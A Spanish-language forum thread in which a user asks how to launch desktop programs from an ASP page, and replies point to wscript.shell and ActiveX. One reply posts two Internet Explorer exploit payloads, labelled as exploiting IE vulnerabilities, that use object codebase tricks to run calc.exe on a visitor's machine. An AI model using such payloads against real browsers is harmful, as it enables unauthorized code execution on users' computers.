Buenas tardes para todos,
Hay alguna posibilidad de lanzar una aplicacion WIN16 y WIN32 desde una pagina ASP. Es decir que desde un link llame a un programa externo de escritorio.
Desde ya muchas gracias.
Leandro.
| |||
Lanzar otra aplicacion desde ASP Buenas tardes para todos, Hay alguna posibilidad de lanzar una aplicacion WIN16 y WIN32 desde una pagina ASP. Es decir que desde un link llame a un programa externo de escritorio. Desde ya muchas gracias. Leandro. |
| ||||
Re: Lanzar otra aplicacion desde ASP Cierto, puedes investigar con el uso de wscript.shell y su uso para ejecutar aplicaciones dal lado del cliente o del servidor. Ya antes se han hablado de ellas, seguro encontraras algo en las respuestas anteriores o en google. Ejemplo También para el cliente, puedes hacer eso de algunas vulnerabilidades del IE (primer obstáculo) aunque si el ciente tiene algún antivirus bueno (segundo obstáculo) no funcionarán: Cita: <span id="oSpan"></span> <script language="jscript" defer> oSpan.innerHTML='<object classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>'; </script> Cita: <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec"> <security> <exploit> <![CDATA[ <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object> ]]> </exploit> </security> </xml> |
| |||
Re: Lanzar otra aplicacion desde ASP La aplicacion es del lado del cliente. Lo que busco es que desde un link o algun tipo de menu pueda llamar a una aplicacion de escritorio. muchas gracias |
| |||
Re: Lanzar otra aplicacion desde ASP Investigando y haciendo pruebas de "wscript.shell" llego a la conclusion (no se si acertada) de que todo lo que puedo ejecutar es en el Servidor y yo nocesito ejecutar aplicaciones que estan en el CLIENTE. De que manera se puede hacer? Desde ya Muchas Gracias. Leandro. |
| ||||
Re: Lanzar otra aplicacion desde ASP Cómo de que solo en el servidor? Estas dos lineas abren la calculadora del cliente en IE: <script language="VBScript"> set WSshell = createobject("wscript.shell") WSshell.run "calc.exe",1 </script> Ahora, aquí hay un artículo sobre el tema http://www.microsoft.com/spain/techn...5/hey1031.mspx Saludos |
| |||
Re: Lanzar otra aplicacion desde ASP Para ejecutar aplicaciones del lado del cliente tienes que poner tu codigo en javascript. Aqui un ejemplo de como ejecutar la calculadora Código HTML: <html> <head> <script> function ejecutar() { var objeto = new ActiveXObject("Wscript.shell"); objeto.run("calc.exe"); } </script> </head> <body> <input type="button" name="boton1" value="Calculadora" onclick="ejecutar()"> </body> </html> |
| |||
Re: Lanzar otra aplicacion desde ASP Haaa, como veran soy bastante nuevo en ASP ja ja. Ahora funciona lo que pasaba es que hay que habilitar las opciones que filtran los comandos ActiveX en el Exprorer. Muchisimas Gracias por la ayuda. Saludos, Leandro. |